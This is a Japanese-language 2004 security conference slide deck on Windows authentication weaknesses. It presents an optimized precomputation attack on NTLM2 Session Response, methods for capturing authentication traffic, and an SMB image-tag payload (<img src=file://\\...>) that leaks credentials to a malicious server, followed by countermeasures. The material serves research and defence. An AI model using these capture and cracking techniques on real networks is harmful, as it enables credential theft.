Upload
jarah
View
51
Download
1
Embed Size (px)
DESCRIPTION
Optimized Attack for NTLM2 Session Response. Daiji Sanai & Hidenobu Seki SecurityFriday.Com 2004.10.15. ReadMe. 注意事項. ◆ 本日のポイント. Windows 認証は本当に弱いか Windows 認証を正しく理解する Windows の認証方式 ハッシュの脆弱性 ネットワーク認証の脆弱性 NTLM2 Session Response 高速パスワード解析手法. ◆ Windows 認証は弱い!. え?誰が言ったの? あなたの会社は - PowerPoint PPT Presentation
Citation preview
Optimized Attack for NTLM2 Session Response
Daiji Sanai & Hidenobu SekiSecurityFriday.Com
2004.10.15
ReadMe
• 注意事項
◆ 本日のポイント
• Windows 認証は本当に弱いか• Windows 認証を正しく理解する
– Windows の認証方式– ハッシュの脆弱性– ネットワーク認証の脆弱性– NTLM2 Session Response
• 高速パスワード解析手法
◆ Windows 認証は弱い!
• え?誰が言ったの?
• あなたの会社は– POP3 、 FTP 、 HTTP 、 TELNET .....
• Windows 認証に関しては、専門家も知らない誤解や誤情報が多い!
認証パスワードを盗めるか?
• “ 認証から”......重要!
• 認証パスワードとは– サーバーが記憶しているパスワード– クライアントが記憶しているパスワード– ネットワーク上を飛ぶ認証パスワード
パスワードの盗み方(余談)
• パスワードの在処– 脳みそ、メモ帳、パソコンのアプリ、ポストイッ
ト• テクニカルである必要はない
– 聞く– 盗み見– ソーシャルエンジニアリング– ゴミ漁り– キーロガー
本日は、テーマ外!
認証パスワードの在処
Windows が記憶する認証パスワードはどこ?
• ローカルアカウント– SAM (Security Account Manager)
• ドメインアカウント– Active Directory
◆ 記憶されるパスワードの形
• Windows 9x/Me– パスワードによるデータの暗号化
( RC4 )– PWL ファイル
• Windows NT/2000/XP/2003– LM ハッシュ、 NTLM ハッシュ
LM ハッシュ
• パスワードを鍵とした固定値の DES 暗号化• パスワードは 14 文字まで• 7 文字毎に別々に暗号化• 英大文字小文字の区別なし• 英数字記号パスワード総数: 7 兆 5 千億弱
NTLM ハッシュ
• パスワードを MD4 でハッシュ化• パスワードは 127 文字まで有効• 英大文字小文字を区別• 7 文字ごとの分割なし• 総数 ∞≒
◆ ネット上を飛ぶパスワードの形
• LM 認証• NTLMv1 認証• NTLMv2 認証• NTLM2 Session Response• Windows Kerberos
認証データ
LM 認証方式
大文字化(パスワード)
DES
LM ハッシュ (16byte)
サーバー クライアント
ネゴシエーション
(A)チャレンジキー生成
(A)8 byteチャレンジ
DES
8byte 8byte8byte
KGS!@#$%
LM レスポンス
• LM ハッシュ– 英数字記号パスワード総数: 7 兆 5 千億弱
• パスワードが 7 文字以下か 8 文字以上か瞬時に判明
• プレコンピューティング辞書攻撃が可能– チャレンジを固定したサーバー
認証データ
NTLMv1 認証方式
unicode( パスワード )
MD4
NTLM ハッシュ (16byte)
サーバー
ネゴシエーション
(A)チャレンジキー生成
(A)8 byteチャレンジ
DES
8byte 8byte8byte
クライアント
NTLMv1 レスポンス
• NTLM ハッシュ• プレコンピューティング辞書攻撃が可能
– チャレンジを固定したサーバー• 懸案事項
– DES の鍵空間はそんなに大きくない 256 = 約7 京個
認証データ
NTLMv2 認証方式
NTLM ハッシュ
サーバー クライアント
ネゴシエーション
チャレンジキー生成(B) 8byte
(A) (B)チャレンジキー生成
(A)8 byteチャレンジ
HMAC-MD5
(B)16byte
HMAC-MD5ユーザー名 + ドメイン名
NTLMv2 レスポンス
• NTLM ハッシュ• DES は使用せず• クライアントチャレンジがある
– プレコンピューティング辞書攻撃不可• 暗号処理にドメイン / ワークグループ名が含ま
れる– ドメイン / ワークグループの指定が必須で使いにく
い• ほとんど使われていない
認証データ
Windows Kerberos 認証方式
NTLM ハッシュ
サーバー
チャレンジキー生成(A)16 byte
HMAC-MD5
(A) 36byte
HMAC-MD51
日付などのデータ RC4
クライアント
Windows Kerberos
• NTLM ハッシュ• DES は使用せず• クライアントチャレンジがある
– プレコンピューティング辞書攻撃不可• 盗聴攻撃は可能• ユーザー(または管理者)が使用を強制でき
ない– 故意に条件を変えて、回避できる
Windows 認証比較LM NTLMv1 NTLM2
session response
NTLMv2 Windows Kerberos
Password case sensitive
No Yes Yes Yes Yes
Hash algorithm
DES (ECB mode)
MD4 MD4 MD4 MD4
Hash value length
64bit + 64bit
128bit 128bit 128bit 128bit
Client challenge
No No Yes Yes Yes
Response key length
56bit + 56bit + 16bit
56bit + 56bit + 16bit
56bit + 56bit + 16bit
128bit 128bit
Response algorithm
DES (ECB mode)
DES (ECB mode)
DES (ECB mode)
HMAC_MD5 HMAC_MD5 & RC4
Response value length
64bit + 64bit + 64bit
64bit + 64bit + 64bit
64bit + 64bit + 64bit
128bit 36byte
OS 別ハッシュ & レスポンスパスワードハッシュ
LM NTLMv1
NTLM2 session response
NTLMv2Windows Kerberos
9x/Me 特殊 ◎ ○
NT4.0LM/NTLM
◎ ◎ ○
2000LM/NTLM
◎ ~ SP2○
◎ ~ SP2○
○◎SP3 ~ ○ △
XPLM/NTLM
○ ○ ◎ ○ △
2003LM/NTLM
○ ○ ◎ ○ △
◆ Windows 認証の脆弱性
• ハッシュの脆弱性• ネットワーク認証の脆弱性
• よく知られる脆弱性– 7文字暗号化問題( LM ハッシュ、 LM 認証)– 下位互換性( LM ハッシュ、 LM 認証)– レインボーテーブル( LM ハッシュ、 NTLM ハ
ッシュ)
違う!
何に対する脆弱性なのかを正しく理解する
◆ ハッシュの脆弱性
• レインボーテーブルによる超高速解析
• ハッシュが抜かれるということは、手遅れ– 監査手法としては有効か
Rainbow Table
• パスワードハッシュ解析用計算手法• 特に Windows のハッシュに最適• 既知の、パスワードとハッシュ値の組による
プリコンピューティング– 超高速化– データベースの低容量化
• チャレンジを使う LM/NTLM 認証には適応不可
Rainbow Table の効果
• RainbowCrack の例– LM ハッシュ– パスワード総数: 806 億(英数字) /7 兆 5 千億
(記号も)– プレコンピューティング 5日 / 2年– ディスク容量 3GB/119GB– 解析時間 20 秒以内( + ディスクアクセス 2 分
半) /13 分以内( + ディスクアクセス 1
時間半)
◆ ネットワーク認証の脆弱性
• 社内ユーザは、ネットワーク認証データの取得が容易
• 認証パケットの漏洩を防ぐことは困難
強い認証が必須
ネットワーク認証の解析ツール
• 良く知られるもの– ScoopLM/BeatLM– Cain– LC (L0pht Crack)
LM 認証へのブルートフォース攻撃
• 2ヶ月以内に完全解読可能– 通常の総当たり– 英数字記号パスワード総数: 7 兆 5 千億弱
• LM 認証は弱く危険!
LM 認証を使ってはいけない
Rainbow のネットワーク認証適用
• LM/NTLM 認証には適用できないと言われるが
• BugTraq で公表( 2004/9/14:Urity )– サーバチャレンジを強制固定する– NTLMv1 も、 Rainbow の対象になる
• クライアントチャレンジへの適用は不可– NTLMv2 認証– NTLM2 session response
◆ NTLM2 session response
• 密かに変わっていた認証方式– Windows 2000 に実装– Windows 2000 SRP1 からデフォルト使用
• SRP1 は SP3 以降に含まれている– Windows XP/2003 ではデフォルト使用
• あまり知られていないが現在はデフォルト• 見た目が NTLMv1 と同じ
NTLM2 session response
• Eric Glass氏が 2003年 7月に解読• プレコンピューティングへの対策
– Eric Glass氏によれば、プレコンピューティング辞書攻撃不可
• 正確な名称さえ不明– 専門家の間では( Eric Glass氏による命名)
NTLM2 session response
認証データ
旧 NTLMv1 認証方式
NTLM ハッシュ
サーバー クライアント
ネゴシエーション
チャレンジキー生成(A)8 byte (A)
チャレンジ
DES
8byte 8byte8byte
認証データ
新 NTLM2 S.R. 認証方式
NTLM ハッシュ
サーバー クライアント
ネゴシエーション
チャレンジキー生成(B)8 byte
(A) (B)チャレンジキー生成
(A)8 byteチャレンジ
MD5
( D )
(B)
DES
8byte 8byte8byte
( D )(C)
使われる条件
• NTLM2 session security 使用時に登場– LMCompatibilityLevel レジストリとは不一致
• ネゴシエーション成立時のみ– 対 2000 サーバー Gold は対応
• サーバ側はデフォルト使用ではなくても、実装されていれば使用する
– 対 NT サーバーは利用できない• ユーザーが使用を強制できない
本当に強いのか?
• クライアントチャレンジの導入– Rainbow Table で攻撃できない
• 既知のクラックツールが使えない– Cain が対応→クラックスピードが遅い
• 効率の良いクラッキング手段はないのか• 本当に安全なのか!
◆ NTLM2 S.R. の高速解析手法
注目の2バイト
パスワード
MD4
NTLM ハッシュ (16byte)
(A) (B)
MD5
( D )(C)DES
(B) 8byte 8byte8byte
認証データ
7byte 7byte 2byteここに着目
8byte
注目の2バイト(2)
パスワード
MD4
NTLM ハッシュ (16byte)
(A) (B)
MD5
( D )(C)DES
(B) 8byte 8byte8byte
認証データ
7byte 7byte 2byte65536通り
あらかじめ 65536通りにグループ化されたワード DB を作成しておくことで、 65536倍の速さでクラッキングが可能になる
あらかじめ 65536通りにグループ化されたワード DB を作成しておくことで、 65536倍の速さでクラッキングが可能になる
プレコンピューティングパスワード
AAAAAAABBBBBBBCCCCCCCDDDDDDDEEEEEEEEFFFFFFFF・・・・
NTLMハッシュ
を計算
65536通り
下2バイトで分類
00000001
00020003
0004
FFFE FFFF
(A) (B)8byte
パケットより取得
8byte 8byte
チャレンジ
2 バイトの DES 鍵でブルートフォース攻撃
MD5
( D )(C)DES
0000 0000000000 FFFF 0000000000~
65536通り
ABCD 0000000000
判明した鍵グループ
一致 照合
約 0.1秒
パスワード DB の特定
65536通り
00000001
0002
ABCD
FFFEFFFF
~
~
xxxxxxxxxxxxxxxxxxxxxxxxxxxxABCD
この中にパスワードがある
この中にパスワードがある
判明した鍵グループ( NTLM ハッシュ)
解析時間と DB サイズ解析時間( Pentium 4
2.5GHz ) パスワード数 DB サイズCain 本方式
24 時間 2秒 735 億 180GB
7 日 8秒 5141 億 1.3TB
14 日 14秒 1 兆 282 億 2.5TB
30 日 30秒 2 兆 2032 億 5.6TB
3ヶ月 1 分半 6 兆 6096 億 17TB
6ヶ月 3 分 13 兆 2192 億 34TB
1年 6 分 26 兆 8056 億 68TB
ブルートフォースパスワード空間
• 英小文字 8 文字まで 2171 億• 英(大小)数記号 6 文字まで 7430 億• 英(大小)数 7 文字まで 3 兆 6 千億• 英(大小) 8 文字まで 54 兆• 英(大小)数記号 7 文字まで 71 兆• 英(大小)数 8 文字まで 222 兆
プレコンピューティングの限界
• 全パスワード対応は、不可能
• パスワード推測アルゴリズムによる最適化• 3ヶ月程度の強度までは、現実的な範囲• 強いパスワードには影響がない• 充分に強いパスワードの使用が必須
◆ 認証パケットの取得の実際
• スイッチングハブ環境で、どうするか– スイッチも完璧ではない
• 簡単に送出される認証パケット– ダミーサーバー登録– ネットクロール– ウエブブラウズによる認証送出
ダミーサーバー登録攻撃
• コンピュータ一覧をフェイクする• マスタブラウザへの偽登録は簡単• ドメインマスタブラウザでも可能
• 偽サーバーをマスタブラウザに登録• クリックしやすい名前で登録• ユーザーがクリックするのを待つ
ネットクロール
• 共有フォルダ/プリンタの検索機能– マイネットワークをクリック時– マスタブラウザからコンピュータリスト取得– 全コンピュータの共有フォルダをチェック– このとき、認証パケットを送出
• Me, XP, 2003もデフォルト有効
Microsoft KB256248,276322,320138
ネットクロールその2
• Windows XP SP2 でも動作– Windows ファイアウォールに無関係– ファイルとプリンタ共有例外に無関係
• ドメイン所属パソコンでは動作しない
ウエブブラウズによる認証送出
• 7 年経っても改善されない問題• 悪意のあるウエブサーバー
– SMB 画像埋め込みで、認証取得可能– <img src=file://\\www.xxx.yyy\zzz>– インターネットでも取得可– NT サーバーを装えば、 LM 認証も飛ぶ
新たな問題
• ワード文書表示で、インターネットへ認証を送出– WebClient service in Windows XP
• 悪意のあるウエブサーバーで認証を取得可能– IIS+.doc
• 2004.9.3 発見– 2004.9.6 マイクロソフトに報告– マイクロソフトでは、重大な問題ではないと判断– 2004.9.27 NTBugTraq で公表
◆ 対 策
• ハッシュを抜かれるな!• ネットワーク認証は、盗まれるのが前提• LM 認証は使わない• 充分に強いパスワードを使う
– 推定強度 6ヶ月以上が必須– 13 兆番目以降のパスワード(笑)
最後に
これだけは、意識して欲しい• LM ハッシュと LM 認証は違う!• NTLM ハッシュと NTLM系認証は違う!
よって• ハッシュの脆弱性と認証の脆弱性は違
う